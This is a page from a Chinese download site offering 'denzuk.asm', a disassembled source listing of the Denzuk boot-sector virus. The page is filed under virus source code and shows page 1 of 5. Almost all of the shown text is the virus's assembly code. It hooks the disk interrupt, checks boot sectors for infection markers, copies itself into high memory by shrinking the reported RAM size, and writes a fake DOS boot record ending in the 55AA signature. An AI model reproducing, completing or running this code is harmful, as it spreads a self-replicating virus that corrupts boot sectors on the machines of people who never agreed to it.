⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 denzuk.asm

📁 一些病毒源代码
💻 ASM
📖 第 1 页 / 共 5 页
字号:
		popf				; Pop flags
		adc	[bp+si],ax
		add	ds:data_0010e[si],bx
		push	si
		push	di
		push	cs
		pop	ds
		mov	byte ptr ds:[528h],dh
		mov	byte ptr ds:[529h],dl
		mov	byte ptr ds:[52Ah],ch
		mov	byte ptr ds:[52Bh],cl
		mov	word ptr ds:[52Ch],es
		mov	word ptr ds:[52Eh],bx
		mov	byte ptr ds:[530h],ah
		mov	byte ptr data_0066,al	; ('WS      EXE ')
		cmp	ah,2
		jb	loc_0045		; Jump if below
		cmp	ah,5
		ja	loc_0045		; Jump if above
		cmp	dl,1
		ja	loc_0045		; Jump if above
		cmp	ch,0
		jne	loc_0045		; Jump if not equal
		cmp	dh,0
		jne	loc_0045		; Jump if not equal
		dec	cs:data_0051
		jz	loc_0046		; Jump if zero
loc_0045:
		jmp	short loc_0047
loc_0046:
		push	cs
		pop	es
		mov	cs:data_0051,2
		call	sub_0009
loc_0047:
		mov	dh,byte ptr ds:[528h]
		mov	dl,byte ptr ds:[529h]
		mov	ch,byte ptr ds:[52Ah]
		mov	cl,byte ptr ds:[52Bh]
		mov	es,word ptr ds:[52Ch]
		mov	bx,word ptr ds:[52Eh]
		mov	ah,byte ptr ds:[530h]
		mov	al,byte ptr data_0066	; ('WS      EXE ')
		pop	di
		pop	si
		pop	es
		pop	ds
		popf				; Pop flags
		jmp	dword ptr cs:data_0054

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0009	proc	near
		push	ax
		push	bx
		push	cx
		push	dx
		xor	ah,ah			; Zero register
		int	6Fh			; ??int non-standard interrupt
		jc	loc_0050		; Jump if carry Set
		xor	dh,dh			; Zero register
		mov	dl,byte ptr cs:[529h]
		mov	cx,1
		mov	bx,200h
		mov	ax,201h
		int	6Fh			; ??int non-standard interrupt
		jc	loc_0050		; Jump if carry Set
		cmp	data_0047,537Ch
		je	loc_0050		; Jump if equal
		cmp	data_0046,0FAFAh
		je	loc_0048		; Jump if equal
		cmp	data_0043,1234h
		jne	loc_0049		; Jump if not equal
		call	sub_0010
		jc	loc_0050		; Jump if carry Set
		jmp	short loc_0049
loc_0048:
;*		call	sub_0011		;*
		db	0E8h, 44h, 00h
		jc	loc_0050		; Jump if carry Set
loc_0049:
		mov	bx,200h
;*		call	sub_0013		;*
		db	0E8h,0E1h, 00h
		jc	loc_0050		; Jump if carry Set
;*		call	sub_0012		;*
		db	0E8h, 58h, 00h
loc_0050:
		pop	dx
		pop	cx
		pop	bx
		pop	ax
		retn
sub_0009	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0010	proc	near
		mul	byte ptr [bx+di]	; ax = data * al
		sub	[bx+si],al
		add	bl,ch
		xor	al,90h
		dec	cx
		inc	dx
		dec	bp
		and	[bx+si],ah
		xor	bp,ds:data_0036e
		add	al,[bp+si]
		add	[bx+si],ax
		add	dh,[bx+si+0]
		rol	byte ptr [bp+si],1	; Rotate
		std				; Set direction flag
		add	al,[bx+si]
		or	[bx+si],ax
		add	al,[bx+si]
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],al
		add	[bp+si],dl
		add	[bx+si],al
		add	[bx+si],al
		add	[bx+si],ax
		cli				; Disable interrupts
		xor	ax,ax			; Zero register
		mov	ss,ax
		mov	sp,7C00h
		push	ss
		pop	es
		mov	bx,data_0005e
		lds	si,dword ptr ss:[bx]	; Load 32 bit ptr
		push	ds
		push	si
		push	ss
		push	bx
		mov	di,data_0022e
		mov	cx,0Bh
		cld				; Clear direction

locloop_0051:
		lodsb				; String [si] to al
		cmp	byte ptr es:[di],0
		je	loc_0052		; Jump if equal
		mov	al,es:[di]
loc_0052:
		stosb				; Store al to es:[di]
		mov	al,ah
		loop	locloop_0051		; Loop if cx > 0

		push	es
		pop	ds
		mov	[bx+2],ax
		mov	word ptr [bx],7C2Bh
		sti				; Enable interrupts
		int	13h			; Disk  dl=drive ?  ah=func 00h
						;  reset disk, al=return status
		jc	loc_0055		; Jump if carry Set
		mov	al,ds:data_0014e
		cbw				; Convrt byte to word
		mul	word ptr ds:data_0017e	; ax = data * ax
		add	ax,ds:data_0020e
		add	ax,ds:data_0013e
		mov	ds:data_0028e,ax
		mov	ds:data_0023e,ax
		mov	ax,20h
		mul	word ptr ds:data_0015e	; ax = data * ax
		mov	bx,ds:data_0012e
		add	ax,bx
		dec	ax
		div	bx			; ax,dx rem=dx:ax/reg
		add	ds:data_0023e,ax
		mov	bx,500h
		mov	ax,ds:data_0028e
		call	sub_0015
		mov	ax,201h
		call	sub_0016
		jc	loc_0053		; Jump if carry Set
		mov	di,bx
		mov	cx,0Bh
		mov	si,data_0030e
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jnz	loc_0053		; Jump if not zero
		lea	di,[bx+20h]		; Load effective addr
		mov	si,data_0031e
		mov	cx,0Bh
		repe	cmpsb			; Rep zf=1+cx >0 Cmp [si] to es:[di]
		jz	loc_0056		; Jump if zero
loc_0053:
		mov	si,data_0029e
loc_0054:
		call	sub_0014
		xor	ah,ah			; Zero register
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		pop	si
		pop	ds
		pop	word ptr [si]
		pop	word ptr [si+2]
		int	19h			; Bootstrap loader
loc_0055:
		mov	si,7DC0h
		jmp	short loc_0054
loc_0056:
		mov	ax,ds:data_0009e
		xor	dx,dx			; Zero register
		div	word ptr ds:data_0012e	; ax,dxrem=dx:ax/data
		inc	al
		mov	ds:data_0026e,al
		mov	ax,ds:data_0023e
		mov	ds:data_0027e,ax
		mov	bx,700h
loc_0057:
		mov	ax,ds:data_0023e
		call	sub_0015
		mov	ax,ds:data_0018e
		sub	al,ds:data_0025e
		inc	ax
		cmp	ds:data_0026e,al
		jae	loc_0058		; Jump if above or =
		mov	al,ds:data_0026e
loc_0058:
		push	ax
		call	sub_0016
		pop	ax
		jc	loc_0055		; Jump if carry Set
		sub	ds:data_0026e,al
		jz	loc_0059		; Jump if zero
		add	ds:data_0023e,ax
		mul	word ptr ds:data_0012e	; ax = data * ax
		add	bx,ax
		jmp	short loc_0057
loc_0059:
		mov	ch,ds:data_0016e
		mov	dl,ds:data_0032e
		mov	bx,ds:data_0027e
;*		jmp	far ptr loc_0001	;*
sub_0010	endp

		db	0EAh, 00h, 00h, 70h, 00h

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0014	proc	near
loc_0060:
		lodsb				; String [si] to al
		or	al,al			; Zero ?
		jz	loc_ret_0061		; Jump if zero
		mov	ah,0Eh
		mov	bx,7
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		jmp	short loc_0060

;哌哌 External Entry into Subroutine 哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌

sub_0015:
		xor	dx,dx			; Zero register
		div	word ptr ds:data_0018e	; ax,dxrem=dx:ax/data
		inc	dl
		mov	ds:data_0025e,dl
		xor	dx,dx			; Zero register
		div	word ptr ds:data_0019e	; ax,dxrem=dx:ax/data
		mov	ds:data_0021e,dl
		mov	ds:data_0024e,ax

loc_ret_0061:
		retn
sub_0014	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0016	proc	near
		mov	ah,2
		mov	dx,ds:data_0024e
		mov	cl,6
		shl	dh,cl			; Shift w/zeros fill
		or	dh,ds:data_0025e
		mov	cx,dx
		xchg	ch,cl
		mov	dl,ds:data_0032e
		mov	dh,ds:data_0021e
		int	13h			; Disk  dl=drive ?  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		retn
sub_0016	endp

		db	0Dh, 0Ah, 'Non-System disk or dis'
		db	'k error', 0Dh, 0Ah, 'Replace and'
		db	' strike any key when ready', 0Dh
		db	0Ah, 0
		db	0Dh, 0Ah, 'Disk Boot failure', 0Dh
		db	0Ah, 0
		db	'IBMBIO  COMIBMDOS  COM'
		db	18 dup (0)
		db	 55h,0AAh, 00h, 03h, 00h, 00h
		db	 01h, 00h, 02h, 00h, 00h, 01h
		db	 00h, 01h, 00h, 00h, 01h, 00h
		db	 09h, 00h, 00h, 00h, 00h, 08h
		db	 00h, 00h, 00h, 00h, 07h, 00h
		db	 00h, 00h, 00h, 06h, 00h, 00h
		db	 00h, 00h, 05h, 00h, 00h, 00h
		db	0F6h, 04h, 00h, 00h, 00h,0FDh
		db	0FFh,0FFh, 00h
		db	509 dup (0)
		db	 03h, 00h, 00h, 00h,0F6h, 02h
		db	 00h, 00h, 00h,0FDh,0FFh,0FFh
		db	 00h
		db	508 dup (0)
		db	0F6h, 01h, 00h, 00h, 00h,0EBh
		db	 29h, 90h, 22h, 34h, 12h, 00h
		db	 01h, 00h, 00h, 00h, 00h, 02h
		db	 02h, 01h, 00h, 02h, 70h, 00h
		db	0D0h, 02h,0FDh, 02h, 00h, 09h
		db	 00h, 02h, 00h
		db	8 dup (0)
		db	 0Fh, 00h, 00h, 00h, 00h, 01h
		db	 00h
		db	0FAh,0FAh, 8Ch,0C8h, 8Eh,0D8h
		db	 8Eh,0D0h,0BCh, 00h,0F0h,0FBh
		db	0B8h, 78h, 7Ch, 50h,0C3h, 73h
		db	 0Ah
		db	0BBh, 90h, 7Ch, 53h,0C3h,0B9h
		db	0B0h, 7Ch, 51h,0C3h
loc_0064:
		xor	ax,ax			; Zero register
		mov	ds,ax
		mov	ax,ds:main_ram_size_
		cmp	word ptr ds:data_0008e,0
		jne	loc_0065		; Jump if not equal
		mov	ds:data_0008e,ax
		sub	ax,7
		mov	ds:main_ram_size_,ax
loc_0065:
		mov	cl,6
		shl	ax,cl			; Shift w/zeros fill
		push	cs
		pop	ds
		mov	es,ax
		mov	si,data_0164e
		xor	di,di			; Zero register
		mov	cx,1400h
		cld				; Clear direction
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
		push	es
		mov	ax,400h
		push	ax
		retf
		xor	ah,ah			; Zero register
		int	13h			; Disk  dl=drive a  ah=func 00h
						;  reset disk, al=return status
		jc	loc_0066		; Jump if carry Set
		xor	dx,dx			; Zero register
		mov	cx,2821h
		mov	bx,data_0178e
		mov	ax,209h
		int	13h			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
loc_0066:
;*		mov	ax,offset loc_0077	;*
		db	0B8h, 3Ch, 7Ch
		push	ax
		retn
		db	0BEh, 5Fh, 7Dh,0B9h, 48h, 00h

locloop_0067:
		xor	bh,bh			; Zero register
		mov	al,[si]
		mov	ah,0Eh
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		inc	si
		loop	locloop_0067		; Loop if cx > 0

loc_0068:
		xor	ah,ah			; Zero register
		int	16h			; Keyboard i/o  ah=function 00h
						;  get keybd char in al, ah=scan
		mov	ah,1
		int	16h			; Keyboard i/o  ah=function 01h
						;  get status, if zf=0  al=char
		jnz	loc_0068		; Jump if not zero
;*		mov	bx,offset loc_0078	;*
		db	0BBh, 43h, 7Ch
		push	bx
		retn
		mov	ax,cs
		mov	ds,ax
		mov	es,ax
		mov	si,data_0176e
		mov	di,data_0178e
		mov	cx,18h
		rep	movsb			; Rep when cx >0 Mov [si] to es:[di]
;*		mov	di,offset loc_0081	;*
		db	0BFh, 00h, 7Eh
		push	di
		retn
		db	 32h,0E4h,0CDh, 13h
loc_0069:
		jc	loc_0070		; Jump if carry Set
		xor	dx,dx			; Zero register
		mov	cx,1
		mov	bx,data_0164e
		mov	ax,201h
		int	13h			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
loc_0070:
;*		mov	bx,offset loc_0076	;*
		db	0BBh, 00h, 7Ch
		push	bx
		retn
		sub	al,7Ch			; '|'
		mov	ds:data_0175e,ax
		mov	bx,700h
loc_0071:
		mov	ax,ds:data_0171e
		call	sub_0018
		mov	ax,ds:data_0167e
		sub	al,ds:data_0173e
		inc	ax
		push	ax
		call	sub_0019
		pop	ax
		jc	loc_0069		; Jump if carry Set
		sub	ds:data_0174e,al
		jbe	loc_0072		; Jump if below or =
		add	ds:data_0171e,ax
		mul	word ptr ds:data_0165e	; ax = data * ax
		add	bx,ax
		jmp	short loc_0071
loc_0072:
		mov	ch,ds:data_0166e
		mov	dl,ds:data_0169e
		mov	bx,ds:data_0175e
;*		jmp	far ptr loc_0001	;*
		db	0EAh, 00h, 00h, 70h, 00h
loc_0073:
		lodsb				; String [si] to al
		or	al,al			; Zero ?
		jz	loc_ret_0074		; Jump if zero
		mov	ah,0Eh
		mov	bx,7
		int	10h			; Video display   ah=functn 0Eh
						;  write char al, teletype mode
		jmp	short loc_0073

;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0018	proc	near
		xor	dx,dx			; Zero register
		div	word ptr ds:data_0167e	; ax,dxrem=dx:ax/data
		inc	dl
		mov	ds:data_0173e,dl
		xor	dx,dx			; Zero register
		div	word ptr ds:data_0168e	; ax,dxrem=dx:ax/data
		mov	byte ptr ds:data_0169e+1,dl
		mov	ds:data_0172e,ax

loc_ret_0074:
		retn
sub_0018	endp


;哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌哌
;			       SUBROUTINE
;苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘苘

sub_0019	proc	near
		mov	ah,2
		mov	dx,ds:data_0172e
		mov	cl,6
		shl	dh,cl			; Shift w/zeros fill
		or	dh,ds:data_0173e
		mov	cx,dx
		xchg	ch,cl
		mov	dx,ds:data_0169e
		int	13h			; Disk  dl=drive a  ah=func 02h
						;  read sectors to memory es:bx
						;   al=#,ch=cyl,cl=sectr,dh=head
		retn
sub_0019	endp

		db	0Dh, 0Ah, 'Non-System disk or dis'
		db	'k error', 0Dh, 0Ah, 'Replace and'
		db	' strike any key when ready', 0Dh
		db	0Ah, 0
		db	0Dh, 0Ah, 'Disk Boot failure', 0Dh
		db	0Ah, 0
		db	'IBMBIO  COMIBMDOS  COM'
		db	42 dup (0)
		db	 55h,0AAh

seg_a		ends



		end	start

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -